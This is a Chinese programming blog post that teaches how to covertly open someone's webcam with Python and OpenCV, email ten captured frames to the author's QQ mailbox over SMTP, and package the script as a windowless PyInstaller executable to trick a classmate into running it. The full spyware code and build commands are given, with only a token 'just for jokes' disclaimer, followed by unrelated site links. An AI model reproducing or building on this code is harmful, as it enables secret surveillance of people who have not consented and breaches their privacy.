用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
python解析中国天气网的天气数据
Mar 21 Python
python下paramiko模块实现ssh连接登录Linux服务器
Jun 03 Python
Python实现识别图片内容的方法分析
Jul 11 Python
详解Django中间件执行顺序
Jul 16 Python
用Python实现二叉树、二叉树非递归遍历及绘制的例子
Aug 09 Python
python3.x 生成3维随机数组实例
Nov 28 Python
python3光学字符识别模块tesserocr与pytesseract的使用详解
Feb 26 Python
python实现猜数游戏
Mar 27 Python
使用Keras训练好的.h5模型来测试一个实例
Jul 06 Python
基于python tkinter的点名小程序功能的实例代码
Aug 22 Python
python如何遍历指定路径下所有文件(按按照时间区间检索)
Sep 14 Python
python 读取yaml文件的两种方法(在unittest中使用)
Dec 01 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
收集的PHP中与数组相关的函数
2007/03/22 PHP
sourcesafe管理phpproj文件的补充说明(downmoon)
2009/04/11 PHP
dwr spring的集成实现代码
2009/03/22 Javascript
打开新窗口关闭当前页面不弹出关闭提示js代码
2013/03/18 Javascript
jquery和javascript的区别(常用方法比较)
2013/07/04 Javascript
自己使用js/jquery写的一个定制对话框控件
2014/05/02 Javascript
js选项卡的实现方法
2015/02/09 Javascript
js实现分享到随页面滚动而滑动效果的方法
2015/04/10 Javascript
JavaScript实现将xml转换成html table表格的方法
2015/04/17 Javascript
javascript中attachEvent用法实例分析
2015/05/14 Javascript
AngularJS 路由详解和简单实例
2016/07/28 Javascript
简单理解vue中实例属性vm.$els
2016/12/01 Javascript
jQuery基本选择器和层次选择器学习使用
2017/02/27 Javascript
详解如何去除vue项目中的#——History模式
2017/10/13 Javascript
vue + element-ui实现简洁的导入导出功能
2017/12/22 Javascript
jQuery扩展方法实现Form表单与Json互相转换的实例代码
2018/09/05 jQuery
微信小程序左滑删除实现代码实例
2019/09/16 Javascript
js实现随机div颜色位置 类似满天星效果
2019/10/24 Javascript
VUE 动态组件的应用案例分析
2019/12/02 Javascript
Javascript异步编程async实现过程详解
2020/04/02 Javascript
VSCode Vue开发推荐插件和VSCode快捷键(小结)
2020/08/08 Javascript
vue中路由跳转不计入history的操作
2020/09/21 Javascript
[01:00:25]NB vs Secret 2018国际邀请赛小组赛BO1 B组加赛 8.19
2018/08/21 DOTA
Python之str操作方法(详解)
2017/06/19 Python
python中关于for循环的碎碎念
2017/06/30 Python
Python对列表去重的多种方法(四种方法)
2017/12/05 Python
python解析含有重复key的json方法
2019/01/22 Python
浅谈ROC曲线的最佳阈值如何选取
2020/02/28 Python
Python fileinput模块如何逐行读取多个文件
2020/10/05 Python
html5触摸事件判断滑动方向的实现
2018/06/05 HTML / CSS
什么是符号链接,什么是硬链接?符号链接与硬链接的区别是什么?
2014/01/19 面试题
酒店管理毕业生自荐信
2013/10/24 职场文书
学术诚信承诺书
2014/05/26 职场文书
农村党建工作汇报材料
2014/10/27 职场文书
教师学期个人总结
2015/02/11 职场文书
保护环境的宣传语
2015/07/13 职场文书